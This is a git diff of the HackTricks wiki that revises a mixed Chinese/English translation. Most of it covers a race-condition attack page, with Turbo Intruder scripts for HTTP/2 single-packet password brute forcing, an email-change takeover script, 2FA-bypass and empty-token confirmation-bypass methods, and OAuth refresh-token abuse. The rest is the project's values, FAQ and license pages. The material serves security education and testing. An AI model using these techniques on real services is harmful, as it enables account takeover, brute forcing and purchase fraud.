-如果连接预热无效,通过大量无害请求触发 web 服务器的速率或资源限制延迟,可能会通过引起服务器端延迟来促成 single-packet attack。
+如果连接预热无效,通过大量无害请求故意触发 Web 服务器的速率或资源限制延迟,可能会促成 single-packet attack,因为这会在服务器端引入有利于 race condition 的延迟。
-## 攻击示例
+## Attack Examples
-- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**:你可以将请求发送到 **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`),在请求中修改要对 **`%s`** 进行 brute force 的值,例如 `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s`,然后从下拉菜单选择 **`examples/race-single-packer-attack.py`**:
+- **Tubo Intruder - HTTP2 single-packet attack (1 endpoint)**: You can send the request to **Turbo intruder** (`Extensions` -> `Turbo Intruder` -> `Send to Turbo Intruder`), you can change in the request the value you want to brute force for **`%s`** like in `csrf=Bn9VQB8OyefIs3ShR2fPESR0FzzulI1d&username=carlos&password=%s` and then select the **`examples/race-single-packer-attack.py`** from the drop down:
-如果你要 **发送不同的值**,可以用这个修改后的代码,它使用来自剪贴板的 wordlist:
+If you are going to **发送不同的值**, you could modify the code with this one that uses a wordlist from the clipboard:
```python
passwords = wordlists.clipboard
for password in passwords:
engine.queue(target.req, password, gate='race1')
```
> [!WARNING]
-> 如果网站不支持 HTTP2(仅 HTTP1.1),请使用 `Engine.THREADED` 或 `Engine.BURP` 而不是 `Engine.BURP2`。
+> 如果目标网站不支持 HTTP2(仅支持 HTTP1.1),请使用 `Engine.THREADED` 或 `Engine.BURP`,而不要使用 `Engine.BURP2`。
-- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 在需要先向 1 个 endpoint 发送请求,然后向其他多个 endpoint 发送请求以触发 RCE 的情况下,你可以修改 `race-single-packet-attack.py` 脚本为如下内容:
+- **Tubo Intruder - HTTP2 single-packet attack (Several endpoints)**: 如果你需要先向 1 个 endpoint 发送一个请求,然后向其他多个 endpoint 发送请求以触发 RCE,你可以将 `race-single-packet-attack.py` 脚本修改为类似以下内容:
```python
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
@@ -83,16 +83,16 @@ engine.queue(confirmationReq, gate=currentAttempt)
# send all the queued requests for this attempt
engine.openGate(currentAttempt)
```
-- 它也可以在 **Repeater** 中通过 Burp Suite 的新 '**Send group in parallel**' 选项使用。
-- 对于 **limit-overrun**,你可以在组里添加 **相同的请求 50 次**。
-- 对于 **connection warming**,你可以在 **组** 的 **开始** **添加** 一些 **请求** 到 web 服务器的某个非静态部分。
-- 对于 **delaying** 进程在 **一个请求与另一个请求之间** 的 2 个子状态步骤,你可以 **在两个请求之间添加额外的请求**。
-- 对于 **multi-endpoint** RC,你可以开始发送 **请求**,该 **进入隐藏状态**,然后在其之后紧接着发送 **50 个请求** 来 **利用隐藏状态**。
+- 它也可以在 **Repeater** 中通过 Burp Suite 的新选项 '**Send group in parallel**' 使用。
+- 对于 **limit-overrun**,你可以在组中添加 **same request 50 times**。
+- 对于 **connection warming**,你可以在 **group** 的 **beginning** 添加一些针对 web 服务器非静态部分的 **requests**。
+- 对于在两个 substates 步骤中在处理 **one request and another** 之间进行 **delaying** 的情况,你可以在两个请求之间 **add extra requests between**。
+- 对于 **multi-endpoint** RC,你可以先发送那个会进入隐藏状态的 **request**,然后紧接着发送 **50 requests** 来利用该隐藏状态。
-- **Automated python script**: The goal of this script is to change the email of a user while continually verifying it until the verification token of the new email arrives to the last email (this is because in the code it was seeing a RC where it was possible to modify an email but have the verification sent to the old one because the variable indicating the email was already populated with the first one).\
-当在收到的邮件中找到单词 "objetivo" 时,我们就知道收到了已更改邮箱的验证令牌,攻击结束。
+- **Automated python script**: 该脚本的目标是更改某用户的邮箱,同时持续进行验证,直到新邮箱的验证令牌到达旧邮箱为止(这是因为在代码中出现了一个 RC,可能修改了邮箱但验证发送到了旧邮箱,因为指示邮箱的变量已经被最初的邮箱填充)。\
+当在收到的邮件中找到单词 "objetivo" 时,我们就知道已收到被更改邮箱的验证令牌,并结束攻击。
```python
# https://portswigger.net/web-security/race-conditions/lab-race-conditions-limit-overrun
# Script from victor to solve a HTB challenge
@@ -217,21 +217,29 @@ h2_conn.close_connection()
response = requests.get(url, verify=False)
```
-### Improving Single Packet Attack
+#### Turbo Intruder: 引擎与门控说明
-在最初的研究中说明该攻击受限于 1,500 bytes。然而,在 [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/),解释了如何通过使用 IP layer fragmentation 将 single packet attack 的 1,500-byte 限制扩展到 TCP 的 **65,535 B window limitation**(将单个数据包拆分为多个 IP 包)并以不同顺序发送,从而在所有碎片到达服务器之前阻止重组。该技术使研究者能够在大约 166ms 内发送 10,000 个请求。
+- Engine selection: use `Engine.BURP2` on HTTP/2 targets to trigger the single‑packet attack; fall back to `Engine.THREADED` or `Engine.BURP` for HTTP/1.1 last‑byte sync.
+- `gate`/`openGate`: queue many copies with `gate='race1'` (or per‑attempt gates), which withholds the tail of each request; `openGate('race1')` flushes all tails together so they arrive nearly simultaneously.
+- Diagnostics: negative timestamps in Turbo Intruder indicate the server responded before the request was fully sent, proving overlap. This is expected in true races.
+- Connection warming: send a ping or a few harmless requests first to stabilise timings; optionally disable `TCP_NODELAY` to encourage batching of the final frames.
-注意,尽管此改进使在需要数百/数千个数据包同时到达的 RC 中攻击更可靠,但它也可能受到一些软件限制。一些流行的 HTTP 服务器如 Apache、Nginx 和 Go 对 `SETTINGS_MAX_CONCURRENT_STREAMS` 的设置非常严格,分别为 100、128 和 250。然而,像 NodeJS 和 nghttp2 则是无限制的。\
-这基本上意味着 Apache 只会从单个 TCP 连接中考虑 100 个 HTTP 连接(限制了此 RC 攻击)。
-你可以在仓库中找到使用该 technique 的一些示例:[https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main)。
+### 改进 Single Packet Attack
+
+In the original research it's explained that this attack has a limit of 1,500 bytes. However, in [**this post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), it was explained how it's possible to extend the 1,500-byte limitation of the single packet attack to the **65,535 B window limitation of TCP by using IP layer fragmentation** (splitting a single packet into multiple IP packets) and sending them in different order, allowed to prevent reassembling the packet until all the fragments reached the server. This technique allowed the researcher to send 10,000 requests in about 166ms.
+
+请注意,虽然该改进在需要数百/数千个数据包同时到达的 RC 场景中提高了攻击的可靠性,但它可能也受到一些软件限制。像 Apache、Nginx 和 Go 这样的常见 HTTP 服务器对 `SETTINGS_MAX_CONCURRENT_STREAMS` 设置有严格限制,分别为 100、128 和 250。然而,像 NodeJS 和 nghttp2 则没有限制。\
+这基本上意味着 Apache 只会将来自单个 TCP 连接的 100 个 HTTP 连接视为并发(从而限制了该 RC 攻击)。
+
+You can find some examples using this tehcnique in the repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
## Raw BF
-在上述研究之前,有一些 payloads 会尽可能快地发送包以触发 RC。
+Before the previous research these were some payloads used which just tried to send the packets as fast as possible to cause a RC.
-- **Repeater:** 请查看前一节的示例。
-- **Intruder**: 将 **request** 发送到 **Intruder**,在 **Options menu** 中将 **number of threads** 设置为 **30**,选择作为 payload 的 **Null payloads** 并生成 **30**。
+- **Repeater:** Check the examples from the previous section.
+- **Intruder**: 将 **request** 发送到 **Intruder**,在 **Options menu** 中将 **number of threads** 设置为 **30**,选择 payload 为 **Null payloads** 并生成 **30**。
- **Turbo Intruder**
```python
def queueRequests(target, wordlists):
@@ -279,75 +287,75 @@ print(results)
asyncio.run(main())
```
-## **RC 方法论**
+## **RC Methodology**
-### 超限 / TOCTOU
+### Limit-overrun / TOCTOU
-这是最基本的一类 race condition,发生在那些对可执行某个操作次数进行限制的地方出现 **漏洞**。比如在网店中多次使用同一个折扣码。一个非常简单的例子可以在 [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 或 [**this bug**](https://hackerone.com/reports/759247) 中看到。
+这是最基本的一类 race condition,出现在那些会限制你执行某个操作次数的地方,会出现 **vulnerabilities**。比如在网店中多次使用同一个折扣码。一个非常简单的例子可以在 [**this report**](https://medium.com/@pravinponnusamy/race-condition-vulnerability-found-in-bug-bounty-program-573260454c43) 或 [**this bug**](https://hackerone.com/reports/759247)**.**
-这类攻击有许多变体,包括:
+有许多这类攻击的变种,包括:
-- 多次兑换同一张礼品卡
-- 多次为同一产品评分
-- 提取或转账导致超出账户余额
-- 复用单次 CAPTCHA 的解答
-- 绕过 anti-brute-force rate limit
+- 多次兑换同一礼品卡
+- 多次对同一产品评分
+- 提取或转账超出账户余额
+- 重复使用同一个 CAPTCHA 的解答
+- Bypassing an anti-brute-force rate limit
-### **隐藏的子状态**
+### **Hidden substates**
-利用复杂的 race conditions 通常涉及利用短暂机会与隐藏或 **非预期的机器子状态** 交互。下面是应对思路:
+利用复杂的 race conditions 往往涉及在短暂的时间窗口内利用隐藏或 **unintended machine substates**。下面是一个方法论:
-1. **识别潜在的隐藏子状态**
-- 从定位那些修改或与关键数据交互的端点开始,例如用户资料或密码重置流程。关注:
-- **Storage**:优先选择操作服务器端持久数据的端点,而不是仅处理客户端数据的端点。
-- **Action**:寻找修改现有数据的操作,这类操作比添加新数据的操作更可能产生可利用的条件。
+1. **Identify Potential Hidden Substates**
+- 从定位那些修改或与关键数据交互的 endpoints(例如 user profiles 或 password reset 流程)开始。重点关注:
+- **Storage**:优先选择操作服务器端持久化数据的 endpoints,而不是处理客户端数据的 endpoints。
+- **Action**:寻找会更改已有数据的操作,这类操作相比新增数据更可能产生可利用的条件。
- **Keying**:成功的攻击通常涉及基于相同标识符(例如 username 或 reset token)的操作。
-2. **进行初步探测**
-- 对识别出的端点进行 race condition 测试,观察是否有与预期结果不符的情况。意外的响应或应用行为变化都可能表明存在漏洞。
-3. **证明漏洞**
-- 将攻击缩小到利用漏洞所需的最少请求数,通常只需两次请求。由于时序要求精确,这一步可能需要多次尝试或自动化。
+2. **Conduct Initial Probing**
+- 使用 race condition 测试已识别的 endpoints,观察是否有偏离预期的结果。意外的响应或应用行为变化可能表明存在漏洞。
+3. **Demonstrate the Vulnerability**
+- 将攻击缩小到利用该漏洞所需的最少请求数,通常只需两个请求。由于时序精确,可能需要多次尝试或使用自动化工具。
-### 时间敏感攻击
+### Time Sensitive Attacks
-精确控制请求时序可以揭示漏洞,尤其是在使用可预测方法(如基于时间戳)生成 security tokens 时。例如,如果基于时间戳生成 password reset tokens,可能会导致同时请求时生成相同的 tokens。
+精确控制请求时序可以揭露漏洞,尤其是在安全 token 使用可预测的方法(如基于时间戳)时。例如,基于时间戳生成 password reset tokens 可能导致并发请求时生成相同的 tokens。
-**利用方式:**
+**To Exploit:**
-- 使用精确的时序(比如 single packet attack)同时发起 password reset 请求。若生成相同的 tokens,则表明存在漏洞。
+- 使用精确的时序(例如 single packet 攻击)发起并发的 password reset 请求。如果生成的 tokens 相同,则表明存在漏洞。
-**示例:**
+**Example:**
-- 同时请求两个 password reset tokens 并进行比较。匹配的 tokens 表明 token 生成存在缺陷。
+- 同时请求两个 password reset tokens 并比较它们。匹配的 tokens 表明 token 生成存在缺陷。
-可以到 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) 试试。
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
-## 隐藏子状态案例研究
+## Hidden substates case studies
-### 支付并添加一个商品
+### Pay & add an Item
-到 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 查看如何在商店中 **支付** 并 **添加额外** 的商品,从而 **无需为其付款**。
+查看这个 [**PortSwigger Lab**](https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-insufficient-workflow-validation) 了解如何在商店中 **pay** 并 **add an extra** item,使其不会被收费。
-### 确认其他邮箱
+### Confirm other emails
-思路是同时 **验证某个邮箱并将其更改为另一个邮箱**,以判断平台是否会验证更改后的新邮箱。
+思路是 **verify an email address and change it to a different one at the same time**,以判断平台是否会验证已更改的新地址。
-### 基于 Cookie 将邮箱改为两个地址
+### Change email to 2 emails addresses Cookie based
-根据 [**this research**](https://portswigger.net/research/smashing-the-state-machine),Gitlab 曾可通过这种方式被接管,因为它可能会 **将一个邮箱的 email verification token 发送到另一个邮箱**。
+根据 [**this research**](https://portswigger.net/research/smashing-the-state-machine),Gitlab 曾因这种方式而可被 takeover,因为它可能会 **send** the **email verification token of one email to the other email**。
-到 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) 试试。
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
-### 隐藏的数据库状态 / 确认绕过
+### Hidden Database states / Confirmation Bypass
-如果使用 **2 different writes** 向 **database** 中 **添加** **信息**,会存在一小段时间窗口,期间 **只有第一份数据已被写入**。例如,在创建用户时,**username** 和 **password** 可能先被 **写入**,然后用于确认新账号的 **token** 才被写入。这意味着在短时间内,**用于确认账号的 token 为空**。
+如果使用 **2 different writes** 在 **database** 中 **add** **information**,会存在一小段时间窗口,在该窗口中 **only the first data has been written** 到数据库中。例如,在创建用户时,**username** 和 **password** 可能先被 **written**,随后用于确认新建账户的 **token** 才被写入。这意味着在短时间内用于确认账户的 **token 是 null**。
-因此,**注册一个账号并立即发送多次带空 token 的请求**(`token=` 或 `token[]=` 或其他变体)来确认该账号,可能允许**确认一个你不控制其邮箱的账号**。
+因此,**registering an account and sending several requests with an empty token** (`token=` or `token[]=` or any other variation) 立即确认该账户,可能允许你在不控制该 email 的情况下 **confirm an account**。
-到 [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) 试试。
+**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
-### 绕过 2FA
+### Bypass 2FA
-下面的伪代码易受 race condition 攻击,因为在极短时间内,在创建会话时 **2FA 未被强制执行**:
+下面的 pseudo-code 易受 race condition 影响,因为在创建 session 的极短时间窗口内 **2FA is not enforced**:
```python
session['userid'] = user.userid
if user.mfa_enabled:
@@ -357,21 +365,21 @@ session['enforce_mfa'] = True
```
### OAuth2 永久持久化
-There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 这些服务允许你创建一个应用并对提供者已注册的用户进行认证。为此,**client** 将需要 **permit your application** 去访问 **OAUth provider** 内的部分数据。\
-So, until here just a common login with google/linkedin/github... where you are prompted with a page saying: "_Application \ wants to access you information, do you want to allow it?_"
+There are several [**OAUth providers**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). 这些服务允许你创建一个应用并对提供商已注册的用户进行认证。为此,**客户端**需要**允许你的应用**访问其在**OAUth provider**中的部分数据。\
+所以,到这里只是常见的使用 google/linkedin/github 等登录,你会看到一个页面提示:“_Application \ wants to access you information, do you want to allow it?_”
#### Race Condition in `authorization_code`
-当你**accept it** 时问题出现,系统会自动向恶意应用发送一个 **`authorization_code`**。然后,该 **application abuses a Race Condition in the OAUth service provider to generate more that one AT/RT** (_Authentication Token/Refresh Token_) from the **`authorization_code`** 用于你的账户。基本上,它会利用你允许该应用访问你数据的事实来**create several accounts**。之后,如果你**stop allowing the application to access your data one pair of AT/RT will be deleted, but the other ones will still be valid**,某些 AT/RT 仍可能保持有效。
+问题出现在你**接受它**并自动向恶意应用发送一个 **`authorization_code`** 之后。然后,这个**应用滥用 OAUth service provider 中的 Race Condition,从该 `authorization_code` 为你的账户生成多个 AT/RT**(Authentication Token/Refresh Token)。基本上,它会利用你已允许该应用访问你数据的事实来**创建多个账户**。随后,即使你**停止允许该应用访问你的数据**,会删除一对 AT/RT,但其他的仍然有效。
#### Race Condition in `Refresh Token`
-一旦你**obtained a valid RT**,你可能尝试**abuse it to generate several AT/RT**;即使用户撤销了对该恶意应用的权限,**several RTs will still be valid.**
+一旦你**获得了一个有效的 RT**,你可以尝试**滥用它来生成多个 AT/RT**,即使用户撤销了对恶意应用的权限,**多个 RT 仍然会保持有效**。
-## **RC in WebSockets**
+## **RC 在 WebSockets 中**
-- 在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 你可以找到一个 Java PoC,用于并行发送 websocket 消息以滥用 **Race Conditions also in Web Sockets**(参见仓库)。
-- 使用 Burp’s WebSocket Turbo Intruder 你可以使用 **THREADED** 引擎来生成多个 WS 连接并并行触发 payloads。请从官方示例开始并调整 `config()`(线程数)以获得并发性;在跨 WS handler 竞争服务器端状态时,这通常比在单个连接上批量发送更可靠。参见 [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)。
+- 在 [**WS_RaceCondition_PoC**](https://github.com/redrays-io/WS_RaceCondition_PoC) 中可以找到一个用 Java 编写的 PoC,用来以**并行**方式发送 websocket 消息,从而滥用 Web Sockets 中的 **Race Conditions**。
+- 使用 Burp 的 WebSocket Turbo Intruder 可以使用 **THREADED** 引擎生成多个 WS 连接并并行发送 payloads。以官方示例为起点并调整 `config()`(线程数)以实现并发;在跨 WS 处理程序竞争服务器端状态时,这通常比在单个连接上批量发送更可靠。参见 [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)。
## 参考资料
diff --git a/src/welcome/hacktricks-values-and-faq.md b/src/welcome/hacktricks-values-and-faq.md
index 0b136a122..46d12d7a7 100644
--- a/src/welcome/hacktricks-values-and-faq.md
+++ b/src/welcome/hacktricks-values-and-faq.md
@@ -1,21 +1,21 @@
-# HackTricks 价值观与常见问题
+# HackTricks 的价值观与常见问题
{{#include ../banners/hacktricks-training.md}}
## HackTricks 价值观
> [!TIP]
-> 这些是 **HackTricks 项目的价值观**:
+> 这些是 **HackTricks Project 的价值观**:
>
-> - 向整个互联网提供 **FREE** 的 **EDUCATIONAL hacking** 资源访问。
-> - Hacking 是关于学习的,学习应尽可能免费。
-> - 本书的目的是作为一份全面的 **educational resource**。
-> - **STORE** 社区发布的优秀 **hacking** 技术,并将所有 **ORIGINAL AUTHORS** 列入 **credits**。
-> - **我们不想夺取别人的功劳**,我们只是想为每个人保存有趣的技巧。
-> - 我们也在 HackTricks 中撰写 **我们自己的研究**。
-> - 在若干情况下,我们只会在 HackTricks 中写出该技术重要部分的 **摘要**,并会 **鼓励读者访问原帖** 以获取更多细节。
-> - **ORGANIZE** 书中的所有 **hacking** 技术,使其 **更易获取**
-> - HackTricks 团队已经无偿投入数千小时 **仅用于组织内容**,以便人们能够 **更快地学习**
+> - 提供 **FREE** 的 **EDUCATIONAL hacking** 资源,面向 **ALL Internet**。
+> - Hacking 是关于学习的,学习应该尽可能免费。
+> - 本书的目的是作为一个全面的 **educational resource**。
+> - **STORE** 社区发布的精彩 **hacking** 技术,同时给予 **ORIGINAL** **AUTHORS** 所有 **credits**。
+> - **We don't want the credit from other people**, 我们只是想为所有人保存很酷的技巧。
+> - 我们也在 HackTricks 中撰写 **our own researches**。
+> - 在若干情况下,我们只会在 **HackTricks** 中写出该技术重要部分的 **summary**,并 **encourage the lector to visit the original post** 以获取更多细节。
+> - **ORGANIZE** 书中所有的 hacking 技术,使其 **MORE ACCESSIBLE**
+> - HackTricks 团队花了数千小时免费 **only to organize the content**,以便人们能 **learn faster**
@@ -25,33 +25,33 @@
>
> - **Thank you so much for these resources, how can I thank you?**
-你可以在一条推文中提及 [**@hacktricks_live**](https://twitter.com/hacktricks_live) 来公开感谢 HackTricks 团队将这些资源公开分享。\
-如果你特别感激,也可以 [**sponsor the project here**](https://github.com/sponsors/carlospolop)。\
-别忘了在 Github 项目上 **给星星!**(链接见下方)。
+你可以在推特上公开感谢 HackTricks 团队,将所有这些资源整理公开,并在推文中提到 [**@hacktricks_live**](https://twitter.com/hacktricks_live).\
+如果你特别感激,也可以 [**sponsor the project here**](https://github.com/sponsors/carlospolop).\
+别忘了在 Github 项目中 **give a star**!(链接见下方)。
> [!TIP]
>
> - **How can I contribute to the project?**
-你可以通过向相应的 Github 页面提交 **Pull Request** 来 **与社区分享新的 tips and tricks 或修复书中发现的 bug**:
+你可以通过向相应的 Github 页面发送 **Pull Request** 来 **share new tips and tricks with the community or fix bugs**:
- [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks)
- [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)
-别忘了在 Github 项目上 **给星星!**
+别忘了在 Github 项目中 **give a star**!
> [!TIP]
>
> - **Can I copy some content from HackTricks and put it in my blog?**
-可以,但 **别忘了标明具体的链接**,说明内容来自哪里。
+可以,但 **不要忘记标注具体的链接**,说明内容来自何处。
> [!TIP]
>
> - **How can I cite a page of HackTricks?**
-只要标出你引用信息的页面链接即可。\
-如果你需要 bibtex,可以使用类似如下的格式:
+只要出现你获取信息的页面的链接就足够了。\
+如果你需要 bibtex,你可以使用类似下面的格式:
```latex
@misc{hacktricks-bibtexing,
author = {"HackTricks Team" or the Authors name of the specific page/trick},
@@ -62,84 +62,82 @@ url = {\url{https://book.hacktricks.wiki/specific-page}},
```
> [!WARNING]
>
-> - **我可以把所有 HackTricks 内容复制到我的博客吗?**
+> - **Can I copy all HackTricks in my blog?**
-**我不太建议**。那**不会对任何人有益**,因为所有**内容已经在官方 HackTricks 书籍中免费公开**。
+**我不建议这样做**。这对任何人都**没有好处**,因为所有内容已经在官方的 HackTricks 书中免费公开可用。
-如果你担心它会消失,只需在 Github 上 fork 或下载,正如我说的,它已经是免费的。
+如果你担心内容会消失,可以在 Github 上 fork 或下载,正如我说的,它已经是免费的。
> [!WARNING]
>
-> - **为什么你们有赞助商?HackTricks 书籍是用于商业目的的吗?**
+> - **Why do you have sponsors? Are HackTricks books for commercial purposes?**
-首要的 **HackTricks** **价值观** 是向**全世界**提供**免费的**黑客教育资源。HackTricks 团队已经**投入了数千小时**来提供这些内容,再次强调,是**免费的**。
+第一个 **HackTricks** **价值** 是向**全世界**提供**免费(FREE)**的黑客教育资源。HackTricks 团队已**投入数千小时**来提供这些内容,依然是**免费的**。
-如果你认为 HackTricks 书籍是为了**商业目的**,那你**完全错误**。
+如果你认为 HackTricks 书是为了**商业目的**而制作的,那你就**完全错了**。
-我们有赞助商,因为即便所有内容都是免费的,我们也希望能**为社区提供一种表达对我们工作的认可**的方式(如果他们愿意的话)。因此,我们为人们提供通过[**Github sponsors**](https://github.com/sponsors/carlospolop) 向 HackTricks 捐赠的选项,并允许**相关的网络安全公司**赞助 HackTricks,并在书中放置一些**广告**——这些**广告**始终放在能被**看见**但**不会干扰学习**过程的位置,如果有人专注于内容的话。
+我们有赞助商是因为,即使所有内容都是免费的,我们也希望**给社区提供一种表示感谢的方式**。因此,我们提供人们通过 [**Github sponsors**](https://github.com/sponsors/carlospolop) 捐助 HackTricks 的选项,并允许**相关的网络安全公司**赞助 HackTricks,并在书中放置一些**广告**,这些**广告**始终放在**能被看见但不会干扰学习**的地方。
-你不会在 HackTricks 看到像其他内容远不及 HackTricks 的博客那样充斥恼人的广告,因为 HackTricks 并非为商业目的而制作。
+你不会在 HackTricks 看到像其他内容远不如 HackTricks 的博客那样恼人的广告,因为 HackTricks 并非为商业目的而制作。
> [!CAUTION]
>
-> - **如果某个 HackTricks 页面基于我的博客文章但没有被引用,我该怎么办?**
+> - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?**
-**我们非常抱歉。这样的情况不应该发生。** 请通过 Github issues、Twitter、Discord 等方式告知我们:包含该内容的 HackTricks 页面链接和你的博客链接,**我们会核查并尽快添加引用**。
+**我们非常抱歉。这样的事情不应该发生**。请通过 Github issues、Twitter、Discord 等方式告知我们 —— 提供包含该内容的 HackTricks 页面链接和你博客的链接,**我们会检查并尽快添加引用**。
> [!CAUTION]
>
-> - **如果 HackTricks 中有来自我博客的内容且我不希望它出现在那儿,我该怎么办?**
+> - **What should I do if there is content from my blog in HackTricks and I don't want it there?**
-请注意,在 HackTricks 中包含指向你页面的链接会带来:
+请注意,在 HackTricks 中有指向你页面的链接会带来:
- 提升你的 **SEO**
-- 内容会被**翻译成15种以上语言**,让更多人能够访问该内容
-- **HackTricks 鼓励**人们去**查看你的页面**(有几位作者告诉我们,自从他们的某页收录在 HackTricks 后,他们获得了更多访问)
+- 内容会被**翻译成 15 种以上语言**,让更多人能够访问该内容
+- **HackTricks 鼓励**人们**查看你的网站**(有好几位作者告诉我们,自从他们的页面出现在 HackTricks 后访问量增加了)
-但是,如果你仍然希望从 HackTricks 中移除你博客的内容,只需告知我们,我们将会**删除所有指向你博客的链接**以及任何基于其的内容。
+但是,如果你仍然希望我们把你博客的内容从 HackTricks 中移除,只需告知我们,我们会**删除所有指向你博客的链接**以及任何基于其的内容。
> [!CAUTION]
>
-> - **如果我在 HackTricks 发现抄袭内容,我该怎么办?**
+> - **What should I do if I find copy-pasted content in HackTricks?**
-我们始终**给予原作者全部署名**。如果你发现某页有抄袭内容而没有注明原始来源,请告知我们,我们会**删除该内容**、或**在文本前添加来源链接**、或**重写内容并加入链接**。
+我们始终**给予原作者全部署名**。如果你发现某页有复制粘贴的内容且没有标注原始来源,请告知我们,我们会**删除它**、**在文本前添加链接**,或**重写并加入链接**。
-## 许可
+## LICENSE
-版权所有 © 未经另行说明,保留所有权利。
+版权所有 © 除非另有说明,保留所有权利。
-#### 许可摘要:
+#### License Summary:
-- 署名:你可以:
-- Share — 在任何媒体或格式中复制并再分发该材料。
-- Adapt — 混合、转换并在该材料基础上创作衍生作品。
+- Attribution: You are free to:
+- Share — copy and redistribute the material in any medium or format.
+- Adapt — remix, transform, and build upon the material.
-#### 补充条款:
+#### Additional Terms:
-- 第三方内容:本博客/书籍的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。此类内容的使用遵循合理使用原则或已获得相应版权持有者的明确许可。有关第三方内容的具体许可信息,请参考原始来源。
-- 作者身份:由 HackTricks 原创的内容受本许可条款约束。建议在分享或改编时对原作者进行署名。
+- Third-Party Content: 本书/博客的某些部分可能包含来自其他来源的内容,例如其他博客或出版物的摘录。此类内容的使用遵循合理使用原则或已获得相应版权所有者的明确许可。有关第三方内容的具体许可信息,请参阅原始来源。
+- Authorship: HackTricks 原创内容受本许可条款约束。鼓励在共享或改编本作品时对作者进行署名。
-#### 例外:
+#### Exemptions:
-- 商业使用:如需咨询有关本内容商业使用的问题,请与我联系。
+- Commercial Use: 如需就本内容的商业用途进行咨询,请与我联系。
-本许可不授予与内容相关的任何商标或品牌权利。本博客/书籍中出现的所有商标和品牌均为其各自所有者的财产。
+本许可不授予与内容相关的任何商标或品牌权利。本博客/书中出现的所有商标和品牌均为其各自所有者的财产。
**通过访问或使用 HackTricks,您同意遵守本许可条款。如果您不同意这些条款,请不要访问本网站。**
-## **免责声明**
+## **Disclaimer**
> [!CAUTION]
-> 本书《HackTricks》仅用于教育和信息目的。
->
-> 本书中的内容按“原样”提供,作者和出版方对本书所载信息、产品、服务或相关图形的完整性、准确性、可靠性、适用性或可用性不作任何明示或暗示的陈述或保证。因此,您对该等信息的任何依赖均由您自行承担风险。
->
-> 在任何情况下,作者和出版方均不对任何损失或损害承担责任,包括但不限于间接或相应的损失或损害,或因使用本书而导致或与之相关的任何数据或利润损失。
->
-> 此外,本书所述的技术和提示仅供教育和信息用途,不得用于任何非法或恶意活动。作者和出版方不赞同或支持任何非法或不道德的活动,且对本书中信息的任何使用均由用户自行承担风险并自行决定。
->
-> 用户对基于本书所含信息采取的任何行动承担全部责任,在尝试实施本书中描述的任何技术或提示时,应始终寻求专业建议和帮助。
->
-> 通过使用本书,用户同意解除作者和出版方对于因使用本书或其中任何信息可能导致的任何及所有损害、损失或伤害的责任与义务。
+> 本书《HackTricks》仅用于教育和信息目的。书中内容按“原样”提供,作者和出版者不对本书中信息、产品、服务或相关图示的完整性、准确性、可靠性、适用性或可用性作任何明示或暗示的陈述或保证。您对该等信息的任何依赖均由您自行承担风险。
+>
+> 作者和出版者在任何情况下均不对任何损失或损害承担责任,包括但不限于间接或衍生损失或损害,或因使用本书而导致的数据或利润损失。
+>
+> 此外,本书中描述的技术和提示仅用于教育和信息目的,不应用于任何非法或恶意活动。作者和出版者不支持或鼓励任何非法或不道德的活动,使用本书所含信息的后果由用户自行承担。
+>
+> 用户应对基于本书信息所采取的任何行为独自负责,并在尝试实施书中任何技术或提示时始终寻求专业建议和帮助。
+>
+> 使用本书即表示用户同意解除作者和出版者因使用本书或其中任何信息而可能导致的任何及所有责任。
{{#include ../banners/hacktricks-training.md}}
diff --git a/theme/ai.js b/theme/ai.js
index 761454181..22e64f5f8 100644
--- a/theme/ai.js
+++ b/theme/ai.js
@@ -491,3 +491,4 @@
handle.addEventListener("touchstart", onStart, { passive: false });
}
})();
+
diff --git a/theme/ht_searcher.js b/theme/ht_searcher.js
index 77f10f607..6b105f263 100644
--- a/theme/ht_searcher.js
+++ b/theme/ht_searcher.js
@@ -68,11 +68,11 @@
const mainReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks/releases/download';
const cloudReleaseBase = 'https://github.com/HackTricks-wiki/hacktricks-cloud/releases/download';
- const mainTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
- const cloudTags = Array.from(new Set([`searchindex-${lang}`, 'searchindex-en', 'searchindex-master']));
